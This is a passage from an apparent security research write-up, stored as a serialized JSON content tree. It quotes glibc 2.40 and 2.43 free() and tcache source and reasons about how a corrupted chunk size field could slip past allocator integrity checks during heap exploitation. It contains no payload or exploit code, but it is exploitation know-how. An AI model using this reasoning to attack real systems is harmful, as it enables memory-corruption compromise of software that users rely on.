cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":34864,"props":123977,"children":123979},{"id":123978},"free-path",[123980],{"type":28,"value":123981},"free() path",{"type":23,"tag":24,"props":123983,"children":123984},{},[123985,123987,123993],{"type":28,"value":123986},"Let’s first look at the ",{"type":23,"tag":64,"props":123988,"children":123990},{"className":123989},[],[123991],{"type":28,"value":123992},"free()",{"type":28,"value":123994}," path in glibc 2.40:",{"type":23,"tag":435,"props":123996,"children":123998},{"code":123997,"language":661,"meta":7,"className":14005,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[123999],{"type":23,"tag":64,"props":124000,"children":124001},{"__ignoreMap":7},[124002,124030,124037,124045,124053,124060,124082,124103,124110,124123,124130,124138,124145,124158,124165,124186,124207,124214],{"type":23,"tag":481,"props":124003,"children":124004},{"class":483,"line":484},[124005,124010,124014,124018,124022,124026],{"type":23,"tag":481,"props":124006,"children":124007},{"style":610},[124008],{"type":28,"value":124009},"__libc_free",{"type":23,"tag":481,"props":124011,"children":124012},{"style":525},[124013],{"type":28,"value":578},{"type":23,"tag":481,"props":124015,"children":124016},{"style":497},[124017],{"type":28,"value":49153},{"type":23,"tag":481,"props":124019,"children":124020},{"style":514},[124021],{"type":28,"value":7301},{"type":23,"tag":481,"props":124023,"children":124024},{"style":508},[124025],{"type":28,"value":38183},{"type":23,"tag":481,"props":124027,"children":124028},{"style":525},[124029],{"type":28,"value":675},{"type":23,"tag":481,"props":124031,"children":124032},{"class":483,"line":351},[124033],{"type":23,"tag":481,"props":124034,"children":124035},{"style":525},[124036],{"type":28,"value":8366},{"type":23,"tag":481,"props":124038,"children":124039},{"class":483,"line":531},[124040],{"type":23,"tag":481,"props":124041,"children":124042},{"style":525},[124043],{"type":28,"value":124044}," mstate ar_ptr;\n",{"type":23,"tag":481,"props":124046,"children":124047},{"class":483,"line":567},[124048],{"type":23,"tag":481,"props":124049,"children":124050},{"style":525},[124051],{"type":28,"value":124052}," mchunkptr p;\n",{"type":23,"tag":481,"props":124054,"children":124055},{"class":483,"line":678},[124056],{"type":23,"tag":481,"props":124057,"children":124058},{"emptyLinePlaceholder":15},[124059],{"type":28,"value":1210},{"type":23,"tag":481,"props":124061,"children":124062},{"class":483,"line":784},[124063,124068,124072,124077],{"type":23,"tag":481,"props":124064,"children":124065},{"style":525},[124066],{"type":28,"value":124067}," p ",{"type":23,"tag":481,"props":124069,"children":124070},{"style":514},[124071],{"type":28,"value":603},{"type":23,"tag":481,"props":124073,"children":124074},{"style":610},[124075],{"type":28,"value":124076}," mem2chunk",{"type":23,"tag":481,"props":124078,"children":124079},{"style":525},[124080],{"type":28,"value":124081}," (mem);\n",{"type":23,"tag":481,"props":124083,"children":124084},{"class":483,"line":812},[124085,124089,124093,124098],{"type":23,"tag":481,"props":124086,"children":124087},{"style":535},[124088],{"type":28,"value":28909},{"type":23,"tag":481,"props":124090,"children":124091},{"style":525},[124092],{"type":28,"value":578},{"type":23,"tag":481,"props":124094,"children":124095},{"style":610},[124096],{"type":28,"value":124097},"chunk_is_mmapped",{"type":23,"tag":481,"props":124099,"children":124100},{"style":525},[124101],{"type":28,"value":124102}," (p))\n",{"type":23,"tag":481,"props":124104,"children":124105},{"class":483,"line":825},[124106],{"type":23,"tag":481,"props":124107,"children":124108},{"style":525},[124109],{"type":28,"value":26700},{"type":23,"tag":481,"props":124111,"children":124112},{"class":483,"line":843},[124113,124118],{"type":23,"tag":481,"props":124114,"children":124115},{"style":610},[124116],{"type":28,"value":124117}," munmap_chunk",{"type":23,"tag":481,"props":124119,"children":124120},{"style":525},[124121],{"type":28,"value":124122}," (p);\n",{"type":23,"tag":481,"props":124124,"children":124125},{"class":483,"line":864},[124126],{"type":23,"tag":481,"props":124127,"children":124128},{"style":525},[124129],{"type":28,"value":879},{"type":23,"tag":481,"props":124131,"children":124132},{"class":483,"line":873},[124133],{"type":23,"tag":481,"props":124134,"children":124135},{"style":535},[124136],{"type":28,"value":124137}," else\n",{"type":23,"tag":481,"props":124139,"children":124140},{"class":483,"line":1125},[124141],{"type":23,"tag":481,"props":124142,"children":124143},{"style":525},[124144],{"type":28,"value":26700},{"type":23,"tag":481,"props":124146,"children":124147},{"class":483,"line":1142},[124148,124153],{"type":23,"tag":481,"props":124149,"children":124150},{"style":610},[124151],{"type":28,"value":124152}," MAYBE_INIT_TCACHE",{"type":23,"tag":481,"props":124154,"children":124155},{"style":525},[124156],{"type":28,"value":124157}," ();\n",{"type":23,"tag":481,"props":124159,"children":124160},{"class":483,"line":1159},[124161],{"type":23,"tag":481,"props":124162,"children":124163},{"emptyLinePlaceholder":15},[124164],{"type":28,"value":1210},{"type":23,"tag":481,"props":124166,"children":124167},{"class":483,"line":1172},[124168,124173,124177,124182],{"type":23,"tag":481,"props":124169,"children":124170},{"style":525},[124171],{"type":28,"value":124172}," ar_ptr ",{"type":23,"tag":481,"props":124174,"children":124175},{"style":514},[124176],{"type":28,"value":603},{"type":23,"tag":481,"props":124178,"children":124179},{"style":610},[124180],{"type":28,"value":124181}," arena_for_chunk",{"type":23,"tag":481,"props":124183,"children":124184},{"style":525},[124185],{"type":28,"value":124122},{"type":23,"tag":481,"props":124187,"children":124188},{"class":483,"line":1181},[124189,124194,124199,124203],{"type":23,"tag":481,"props":124190,"children":124191},{"style":610},[124192],{"type":28,"value":124193}," _int_free",{"type":23,"tag":481,"props":124195,"children":124196},{"style":525},[124197],{"type":28,"value":124198}," (ar_ptr, p, ",{"type":23,"tag":481,"props":124200,"children":124201},{"style":551},[124202],{"type":28,"value":1568},{"type":23,"tag":481,"props":124204,"children":124205},{"style":525},[124206],{"type":28,"value":1366},{"type":23,"tag":481,"props":124208,"children":124209},{"class":483,"line":1204},[124210],{"type":23,"tag":481,"props":124211,"children":124212},{"style":525},[124213],{"type":28,"value":879},{"type":23,"tag":481,"props":124215,"children":124216},{"class":483,"line":1213},[124217],{"type":23,"tag":481,"props":124218,"children":124219},{"style":525},[124220],{"type":28,"value":1443},{"type":23,"tag":24,"props":124222,"children":124223},{},[124224,124226,124231,124233,124238,124240,124246,124248,124254,124256,124261,124263,124268,124270,124275,124277,124282],{"type":28,"value":124225},"We can see that if the ",{"type":23,"tag":64,"props":124227,"children":124229},{"className":124228},[],[124230],{"type":28,"value":123961},{"type":28,"value":124232}," bit is set in the corrupted ",{"type":23,"tag":64,"props":124234,"children":124236},{"className":124235},[],[124237],{"type":28,"value":121792},{"type":28,"value":124239}," field, glibc will call ",{"type":23,"tag":64,"props":124241,"children":124243},{"className":124242},[],[124244],{"type":28,"value":124245},"munmap_chunk",{"type":28,"value":124247},", which internally checks that ",{"type":23,"tag":64,"props":124249,"children":124251},{"className":124250},[],[124252],{"type":28,"value":124253},"prev_size + size",{"type":28,"value":124255}," is page-aligned. To reach the ",{"type":23,"tag":64,"props":124257,"children":124259},{"className":124258},[],[124260],{"type":28,"value":121792},{"type":28,"value":124262}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":64,"props":124264,"children":124266},{"className":124265},[],[124267],{"type":28,"value":123911},{"type":28,"value":124269}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":64,"props":124271,"children":124273},{"className":124272},[],[124274],{"type":28,"value":124253},{"type":28,"value":124276}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":64,"props":124278,"children":124280},{"className":124279},[],[124281],{"type":28,"value":123961},{"type":28,"value":124283}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":124285,"children":124286},{},[124287,124289,124294,124296,124302],{"type":28,"value":124288},"Assuming ",{"type":23,"tag":64,"props":124290,"children":124292},{"className":124291},[],[124293],{"type":28,"value":123961},{"type":28,"value":124295}," is not set, execution continues into ",{"type":23,"tag":64,"props":124297,"children":124299},{"className":124298},[],[124300],{"type":28,"value":124301},"_int_free",{"type":28,"value":287},{"type":23,"tag":435,"props":124304,"children":124306},{"code":124305,"language":661,"meta":7,"className":14005,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[124307],{"type":23,"tag":64,"props":124308,"children":124309},{"__ignoreMap":7},[124310,124322,124365,124372,124380,124387,124408,124415,124423,124431,124439,124447,124511,124546,124567,124575,124583,124631,124651,124658,124671,124678],{"type":23,"tag":481,"props":124311,"children":124312},{"class":483,"line":484},[124313,124317],{"type":23,"tag":481,"props":124314,"children":124315},{"style":497},[124316],{"type":28,"value":48570},{"type":23,"tag":481,"props":124318,"children":124319},{"style":497},[124320],{"type":28,"value":124321}," void\n",{"type":23,"tag":481,"props":124323,"children":124324},{"class":483,"line":351},[124325,124329,124334,124339,124344,124348,124352,124356,124361],{"type":23,"tag":481,"props":124326,"children":124327},{"style":610},[124328],{"type":28,"value":124301},{"type":23,"tag":481,"props":124330,"children":124331},{"style":525},[124332],{"type":28,"value":124333}," (mstate ",{"type":23,"tag":481,"props":124335,"children":124336},{"style":508},[124337],{"type":28,"value":124338},"av",{"type":23,"tag":481,"props":124340,"children":124341},{"style":525},[124342],{"type":28,"value":124343},", mchunkptr ",{"type":23,"tag":481,"props":124345,"children":124346},{"style":508},[124347],{"type":28,"value":24},{"type":23,"tag":481,"props":124349,"children":124350},{"style":525},[124351],{"type":28,"value":588},{"type":23,"tag":481,"props":124353,"children":124354},{"style":497},[124355],{"type":28,"value":16543},{"type":23,"tag":481,"props":124357,"children":124358},{"style":508},[124359],{"type":28,"value":124360}," have_lock",{"type":23,"tag":481,"props":124362,"children":124363},{"style":525},[124364],{"type":28,"value":675},{"type":23,"tag":481,"props":124366,"children":124367},{"class":483,"line":531},[124368],{"type":23,"tag":481,"props":124369,"children":124370},{"style":525},[124371],{"type":28,"value":8366},{"type":23,"tag":481,"props":124373,"children":124374},{"class":483,"line":567},[124375],{"type":23,"tag":481,"props":124376,"children":124377},{"style":525},[124378],{"type":28,"value":124379}," INTERNAL_SIZE_T size;\n",{"type":23,"tag":481,"props":124381,"children":124382},{"class":483,"line":678},[124383],{"type":23,"tag":481,"props":124384,"children":124385},{"emptyLinePlaceholder":15},[124386],{"type":28,"value":1210},{"type":23,"tag":481,"props":124388,"children":124389},{"class":483,"line":784},[124390,124395,124399,124404],{"type":23,"tag":481,"props":124391,"children":124392},{"style":525},[124393],{"type":28,"value":124394}," size ",{"type":23,"tag":481,"props":124396,"children":124397},{"style":514},[124398],{"type":28,"value":603},{"type":23,"tag":481,"props":124400,"children":124401},{"style":610},[124402],{"type":28,"value":124403}," chunksize",{"type":23,"tag":481,"props":124405,"children":124406},{"style":525},[124407],{"type":28,"value":124122},{"type":23,"tag":481,"props":124409,"children":124410},{"class":483,"line":812},[124411],{"type":23,"tag":481,"props":124412,"children":124413},{"emptyLinePlaceholder":15},[124414],{"type":28,"value":1210},{"type":23,"tag":481,"props":124416,"children":124417},{"class":483,"line":825},[124418],{"type":23,"tag":481,"props":124419,"children":124420},{"style":488},[124421],{"type":28,"value":124422}," /* Little security check which won't hurt performance: the\n",{"type":23,"tag":481,"props":124424,"children":124425},{"class":483,"line":843},[124426],{"type":23,"tag":481,"props":124427,"children":124428},{"style":488},[124429],{"type":28,"value":124430}," allocator never wraps around at the end of the address space.\n",{"type":23,"tag":481,"props":124432,"children":124433},{"class":483,"line":864},[124434],{"type":23,"tag":481,"props":124435,"children":124436},{"style":488},[124437],{"type":28,"value":124438}," Therefore we can exclude some size values which might appear\n",{"type":23,"tag":481,"props":124440,"children":124441},{"class":483,"line":873},[124442],{"type":23,"tag":481,"props":124443,"children":124444},{"style":488},[124445],{"type":28,"value":124446}," here by accident or by \"design\" from some intruder. */\n",{"type":23,"tag":481,"props":124448,"children":124449},{"class":483,"line":1125},[124450,124454,124458,124463,124468,124473,124478,124482,124486,124490,124494,124498,124503,124507],{"type":23,"tag":481,"props":124451,"children":124452},{"style":535},[124453],{"type":28,"value":28909},{"type":23,"tag":481,"props":124455,"children":124456},{"style":525},[124457],{"type":28,"value":578},{"type":23,"tag":481,"props":124459,"children":124460},{"style":610},[124461],{"type":28,"value":124462},"__builtin_expect",{"type":23,"tag":481,"props":124464,"children":124465},{"style":525},[124466],{"type":28,"value":124467}," ((",{"type":23,"tag":481,"props":124469,"children":124470},{"style":497},[124471],{"type":28,"value":124472},"uintptr_t",{"type":23,"tag":481,"props":124474,"children":124475},{"style":525},[124476],{"type":28,"value":124477},") p ",{"type":23,"tag":481,"props":124479,"children":124480},{"style":514},[124481],{"type":28,"value":7947},{"type":23,"tag":481,"props":124483,"children":124484},{"style":525},[124485],{"type":28,"value":578},{"type":23,"tag":481,"props":124487,"children":124488},{"style":497},[124489],{"type":28,"value":124472},{"type":23,"tag":481,"props":124491,"children":124492},{"style":525},[124493],{"type":28,"value":598},{"type":23,"tag":481,"props":124495,"children":124496},{"style":514},[124497],{"type":28,"value":1876},{"type":23,"tag":481,"props":124499,"children":124500},{"style":525},[124501],{"type":28,"value":124502},"size, ",{"type":23,"tag":481,"props":124504,"children":124505},{"style":551},[124506],{"type":28,"value":1568},{"type":23,"tag":481,"props":124508,"children":124509},{"style":525},[124510],{"type":28,"value":675},{"type":23,"tag":481,"props":124512,"children":124513},{"class":483,"line":1142},[124514,124519,124524,124528,124533,124538,124542],{"type":23,"tag":481,"props":124515,"children":124516},{"style":514},[124517],{"type":28,"value":124518}," ||",{"type":23,"tag":481,"props":124520,"children":124521},{"style":610},[124522],{"type":28,"value":124523}," __builtin_expect",{"type":23,"tag":481,"props":124525,"children":124526},{"style":525},[124527],{"type":28,"value":578},{"type":23,"tag":481,"props":124529,"children":124530},{"style":610},[124531],{"type":28,"value":124532},"misaligned_chunk",{"type":23,"tag":481,"props":124534,"children":124535},{"style":525},[124536],{"type":28,"value":124537}," (p), ",{"type":23,"tag":481,"props":124539,"children":124540},{"style":551},[124541],{"type":28,"value":1568},{"type":23,"tag":481,"props":124543,"children":124544},{"style":525},[124545],{"type":28,"value":17209},{"type":23,"tag":481,"props":124547,"children":124548},{"class":483,"line":1159},[124549,124554,124558,124563],{"type":23,"tag":481,"props":124550,"children":124551},{"style":610},[124552],{"type":28,"value":124553}," malloc_printerr",{"type":23,"tag":481,"props":124555,"children":124556},{"style":525},[124557],{"type":28,"value":578},{"type":23,"tag":481,"props":124559,"children":124560},{"style":1805},[124561],{"type":28,"value":124562},"\"free(): invalid pointer\"",{"type":23,"tag":481,"props":124564,"children":124565},{"style":525},[124566],{"type":28,"value":1366},{"type":23,"tag":481,"props":124568,"children":124569},{"class":483,"line":1172},[124570],{"type":23,"tag":481,"props":124571,"children":124572},{"style":488},[124573],{"type":28,"value":124574}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":481,"props":124576,"children":124577},{"class":483,"line":1181},[124578],{"type":23,"tag":481,"props":124579,"children":124580},{"style":488},[124581],{"type":28,"value":124582}," multiple of MALLOC_ALIGNMENT. */\n",{"type":23,"tag":481,"props":124584,"children":124585},{"class":483,"line":1204},[124586,124590,124594,124599,124604,124608,124613,124617,124621,124626],{"type":23,"tag":481,"props":124587,"children":124588},{"style":535},[124589],{"type":28,"value":28909},{"type":23,"tag":481,"props":124591,"children":124592},{"style":525},[124593],{"type":28,"value":578},{"type":23,"tag":481,"props":124595,"children":124596},{"style":610},[124597],{"type":28,"value":124598},"__glibc_unlikely",{"type":23,"tag":481,"props":124600,"children":124601},{"style":525},[124602],{"type":28,"value":124603}," (size ",{"type":23,"tag":481,"props":124605,"children":124606},{"style":514},[124607],{"type":28,"value":3282},{"type":23,"tag":481,"props":124609,"children":124610},{"style":525},[124611],{"type":28,"value":124612}," MINSIZE ",{"type":23,"tag":481,"props":124614,"children":124615},{"style":514},[124616],{"type":28,"value":19917},{"type":23,"tag":481,"props":124618,"children":124619},{"style":514},[124620],{"type":28,"value":10351},{"type":23,"tag":481,"props":124622,"children":124623},{"style":610},[124624],{"type":28,"value":124625},"aligned_OK",{"type":23,"tag":481,"props":124627,"children":124628},{"style":525},[124629],{"type":28,"value":124630}," (size)))\n",{"type":23,"tag":481,"props":124632,"children":124633},{"class":483,"line":1213},[124634,124638,124642,124647],{"type":23,"tag":481,"props":124635,"children":124636},{"style":610},[124637],{"type":28,"value":124553},{"type":23,"tag":481,"props":124639,"children":124640},{"style":525},[124641],{"type":28,"value":578},{"type":23,"tag":481,"props":124643,"children":124644},{"style":1805},[124645],{"type":28,"value":124646},"\"free(): invalid size\"",{"type":23,"tag":481,"props":124648,"children":124649},{"style":525},[124650],{"type":28,"value":1366},{"type":23,"tag":481,"props":124652,"children":124653},{"class":483,"line":1222},[124654],{"type":23,"tag":481,"props":124655,"children":124656},{"emptyLinePlaceholder":15},[124657],{"type":28,"value":1210},{"type":23,"tag":481,"props":124659,"children":124660},{"class":483,"line":1291},[124661,124666],{"type":23,"tag":481,"props":124662,"children":124663},{"style":610},[124664],{"type":28,"value":124665}," check_inuse_chunk",{"type":23,"tag":481,"props":124667,"children":124668},{"style":525},[124669],{"type":28,"value":124670},"(av, p);\n",{"type":23,"tag":481,"props":124672,"children":124673},{"class":483,"line":1299},[124674],{"type":23,"tag":481,"props":124675,"children":124676},{"emptyLinePlaceholder":15},[124677],{"type":28,"value":1210},{"type":23,"tag":481,"props":124679,"children":124680},{"class":483,"line":1329},[124681],{"type":23,"tag":481,"props":124682,"children":124683},{"style":525},[124684],{"type":28,"value":124685}," [...]\n",{"type":23,"tag":24,"props":124687,"children":124688},{},[124689],{"type":28,"value":124690},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":124692,"children":124693},{},[124694,124696,124701,124703,124708,124710,124715,124717,124722],{"type":28,"value":124695},"The next check, however, ensures that the ",{"type":23,"tag":64,"props":124697,"children":124699},{"className":124698},[],[124700],{"type":28,"value":121792},{"type":28,"value":124702}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":64,"props":124704,"children":124706},{"className":124705},[],[124707],{"type":28,"value":121792},{"type":28,"value":124709}," must preserve alignment while also avoiding the ",{"type":23,"tag":64,"props":124711,"children":124713},{"className":124712},[],[124714],{"type":28,"value":123961},{"type":28,"value":124716}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":64,"props":124718,"children":124720},{"className":124719},[],[124721],{"type":28,"value":121792},{"type":28,"value":124723}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":124725,"children":124726},{},[124727],{"type":28,"value":124728},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":435,"props":124730,"children":124732},{"code":124731,"language":661,"meta":7,"className":14005,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[124733],{"type":23,"tag":64,"props":124734,"children":124735},{"__ignoreMap":7},[124736,124744,124771,124778,124785,124792,124811,124818,124838,124845,124873,124897,124904,124917,124959,124966,124974,124981,124998],{"type":23,"tag":481,"props":124737,"children":124738},{"class":483,"line":484},[124739],{"type":23,"tag":481,"props":124740,"children":124741},{"style":497},[124742],{"type":28,"value":124743},"void\n",{"type":23,"tag":481,"props":124745,"children":124746},{"class":483,"line":351},[124747,124751,124755,124759,124763,124767],{"type":23,"tag":481,"props":124748,"children":124749},{"style":610},[124750],{"type":28,"value":124009},{"type":23,"tag":481,"props":124752,"children":124753},{"style":525},[124754],{"type":28,"value":578},{"type":23,"tag":481,"props":124756,"children":124757},{"style":497},[124758],{"type":28,"value":49153},{"type":23,"tag":481,"props":124760,"children":124761},{"style":514},[124762],{"type":28,"value":7301},{"type":23,"tag":481,"props":124764,"children":124765},{"style":508},[124766],{"type":28,"value":38183},{"type":23,"tag":481,"props":124768,"children":124769},{"style":525},[124770],{"type":28,"value":675},{"type":23,"tag":481,"props":124772,"children":124773},{"class":483,"line":531},[124774],{"type":23,"tag":481,"props":124775,"children":124776},{"style":525},[124777],{"type":28,"value":8366},{"type":23,"tag":481,"props":124779,"children":124780},{"class":483,"line":567},[124781],{"type":23,"tag":481,"props":124782,"children":124783},{"style":525},[124784],{"type":28,"value":124052},{"type":23,"tag":481,"props":124786,"children":124787},{"class":483,"line":678},[124788],{"type":23,"tag":481,"props":124789,"children":124790},{"emptyLinePlaceholder":15},[124791],{"type":28,"value":1210},{"type":23,"tag":481,"props":124793,"children":124794},{"class":483,"line":784},[124795,124799,124803,124807],{"type":23,"tag":481,"props":124796,"children":124797},{"style":525},[124798],{"type":28,"value":124067},{"type":23,"tag":481,"props":124800,"children":124801},{"style":514},[124802],{"type":28,"value":603},{"type":23,"tag":481,"props":124804,"children":124805},{"style":610},[124806],{"type":28,"value":124076},{"type":23,"tag":481,"props":124808,"children":124809},{"style":525},[124810],{"type":28,"value":124081},{"type":23,"tag":481,"props":124812,"children":124813},{"class":483,"line":812},[124814],{"type":23,"tag":481,"props":124815,"children":124816},{"emptyLinePlaceholder":15},[124817],{"type":28,"value":1210},{"type":23,"tag":481,"props":124819,"children":124820},{"class":483,"line":825},[124821,124826,124830,124834],{"type":23,"tag":481,"props":124822,"children":124823},{"style":525},[124824],{"type":28,"value":124825}," INTERNAL_SIZE_T size ",{"type":23,"tag":481,"props":124827,"children":124828},{"style":514},[124829],{"type":28,"value":603},{"type":23,"tag":481,"props":124831,"children":124832},{"style":610},[124833],{"type":28,"value":124403},{"type":23,"tag":481,"props":124835,"children":124836},{"style":525},[124837],{"type":28,"value":124122},{"type":23,"tag":481,"props":124839,"children":124840},{"class":483,"line":843},[124841],{"type":23,"tag":481,"props":124842,"children":124843},{"emptyLinePlaceholder":15},[124844],{"type":28,"value":1210},{"type":23,"tag":481,"props":124846,"children":124847},{"class":483,"line":864},[124848,124852,124856,124860,124864,124868],{"type":23,"tag":481,"props":124849,"children":124850},{"style":535},[124851],{"type":28,"value":28909},{"type":23,"tag":481,"props":124853,"children":124854},{"style":525},[124855],{"type":28,"value":578},{"type":23,"tag":481,"props":124857,"children":124858},{"style":610},[124859],{"type":28,"value":124598},{"type":23,"tag":481,"props":124861,"children":124862},{"style":525},[124863],{"type":28,"value":578},{"type":23,"tag":481,"props":124865,"children":124866},{"style":610},[124867],{"type":28,"value":124532},{"type":23,"tag":481,"props":124869,"children":124870},{"style":525},[124871],{"type":28,"value":124872}," (p)))\n",{"type":23,"tag":481,"props":124874,"children":124875},{"class":483,"line":873},[124876,124880,124885,124889,124893],{"type":23,"tag":481,"props":124877,"children":124878},{"style":535},[124879],{"type":28,"value":14481},{"type":23,"tag":481,"props":124881,"children":124882},{"style":610},[124883],{"type":28,"value":124884}," malloc_printerr_tail",{"type":23,"tag":481,"props":124886,"children":124887},{"style":525},[124888],{"type":28,"value":578},{"type":23,"tag":481,"props":124890,"children":124891},{"style":1805},[124892],{"type":28,"value":124562},{"type":23,"tag":481,"props":124894,"children":124895},{"style":525},[124896],{"type":28,"value":1366},{"type":23,"tag":481,"props":124898,"children":124899},{"class":483,"line":1125},[124900],{"type":23,"tag":481,"props":124901,"children":124902},{"emptyLinePlaceholder":15},[124903],{"type":28,"value":1210},{"type":23,"tag":481,"props":124905,"children":124906},{"class":483,"line":1142},[124907,124912],{"type":23,"tag":481,"props":124908,"children":124909},{"style":535},[124910],{"type":28,"value":124911},"#if",{"type":23,"tag":481,"props":124913,"children":124914},{"style":610},[124915],{"type":28,"value":124916}," USE_TCACHE\n",{"type":23,"tag":481,"props":124918,"children":124919},{"class":483,"line":1159},[124920,124924,124928,124933,124937,124941,124946,124950,124955],{"type":23,"tag":481,"props":124921,"children":124922},{"style":535},[124923],{"type":28,"value":28909},{"type":23,"tag":481,"props":124925,"children":124926},{"style":525},[124927],{"type":28,"value":578},{"type":23,"tag":481,"props":124929,"children":124930},{"style":610},[124931],{"type":28,"value":124932},"__glibc_likely",{"type":23,"tag":481,"props":124934,"children":124935},{"style":525},[124936],{"type":28,"value":124603},{"type":23,"tag":481,"props":124938,"children":124939},{"style":514},[124940],{"type":28,"value":3282},{"type":23,"tag":481,"props":124942,"children":124943},{"style":508},[124944],{"type":28,"value":124945}," mp_",{"type":23,"tag":481,"props":124947,"children":124948},{"style":525},[124949],{"type":28,"value":199},{"type":23,"tag":481,"props":124951,"children":124952},{"style":508},[124953],{"type":28,"value":124954},"tcache_max_bytes",{"type":23,"tag":481,"props":124956,"children":124957},{"style":525},[124958],{"type":28,"value":17209},{"type":23,"tag":481,"props":124960,"children":124961},{"class":483,"line":1172},[124962],{"type":23,"tag":481,"props":124963,"children":124964},{"style":525},[124965],{"type":28,"value":26700},{"type":23,"tag":481,"props":124967,"children":124968},{"class":483,"line":1181},[124969],{"type":23,"tag":481,"props":124970,"children":124971},{"style":525},[124972],{"type":28,"value":124973}," [...]\n",{"type":23,"tag":481,"props":124975,"children":124976},{"class":483,"line":1204},[124977],{"type":23,"tag":481,"props":124978,"children":124979},{"emptyLinePlaceholder":15},[124980],{"type":28,"value":1210},{"type":23,"tag":481,"props":124982,"children":124983},{"class":483,"line":1213},[124984,124988,124993],{"type":23,"tag":481,"props":124985,"children":124986},{"style":535},[124987],{"type":28,"value":36875},{"type":23,"tag":481,"props":124989,"children":124990},{"style":610},[124991],{"type":28,"value":124992}," tcache_put",{"type":23,"tag":481,"props":124994,"children":124995},{"style":525},[124996],{"type":28,"value":124997}," (p, tc_idx);\n",{"type":23,"tag":481,"props":124999,"children":125000},{"class":483,"line":1222},[125001],{"type":23,"tag":481,"props":125002,"children":125003},{"style":525},[125004],{"type":28,"value":879},{"type":23,"tag":24,"props":125006,"children":125007},{},[125008,125010,125015],{"type":28,"value":125009},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":64,"props":125011,"children":125013},{"className":125012},[],[125014],{"type":28,"value":121792},{"type":28,"value":125016}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":125018,"children":125019},{},[125020,125022,125028,125029,125034],{"type":28,"value":125021},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":64,"props":125023,"children":125025},{"className":125024},[],[125026],{"type":28,"value":125027},"check_inuse_chunk",{"type":28,"value":578},{"type":23,"tag":64,"props":125030,"children":125032},{"className":125031},[],[125033],{"type":28,"value":121920},{"type":28,"value":21456},{"type":23,"tag":435,"props":125036,"children":125038},{"code":125037,"language":661,"meta":7,"className":14005,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[125039],{"type":23,"tag":64,"props":125040,"children":125041},{"__ignoreMap":7},[125042,125049,125076,125083,125090,125097,125116,125123,125142,125149,125176,125199,125206,125232,125239,125250,125307],{"type":23,"tag":481,"props":125043,"children":125044},{"class":483,"line":484},[125045],{"type":23,"tag":481,"props":125046,"children":125047},{"style":497},[125048],{"type":28,"value":124743},{"type":23,"tag":481,"props":125050,"children":125051},{"class":483,"line":351},[125052,125056,125060,125064,125068,125072],{"type":23,"tag":481,"props":125053,"children":125054},{"style":610},[125055],{"type":28,"value":124009},{"type":23,"tag":481,"props":125057,"children":125058},{"style":525},[125059],{"type":28,"value":578},{"type":23,"tag":481,"props":125061,"children":125062},{"style":497},[125063],{"type":28,"value":49153},{"type":23,"tag":481,"props":125065,"children":125066},{"style":514},[125067],{"type":28,"value":7301},{"type":23,"tag":481,"props":125069,"children":125070},{"style":508},[125071],{"type":28,"value":38183},{"type":23,"tag":481,"props":125073,"children":125074},{"style":525},[125075],{"type":28,"value":675},{"type":23,"tag":481,"props":125077,"children":125078},{"class":483,"line":531},[125079],{"type":23,"tag":481,"props":125080,"children":125081},{"style":525},[125082],{"type":28,"value":8366},{"type":23,"tag":481,"props":125084,"children":125085},{"class":483,"line":567},[125086],{"type":23,"tag":481,"props":125087,"children":125088},{"style":525},[125089],{"type":28,"value":124052},{"type":23,"tag":481,"props":125091,"children":125092},{"class":483,"line":678},[125093],{"type":23,"tag":481,"props":125094,"children":125095},{"emptyLinePlaceholder":15},[125096],{"type":28,"value":1210},{"type":23,"tag":481,"props":125098,"children":125099},{"class":483,"line":784},[125100,125104,125108,125112],{"type":23,"tag":481,"props":125101,"children":125102},{"style":525},[125103],{"type":28,"value":124067},{"type":23,"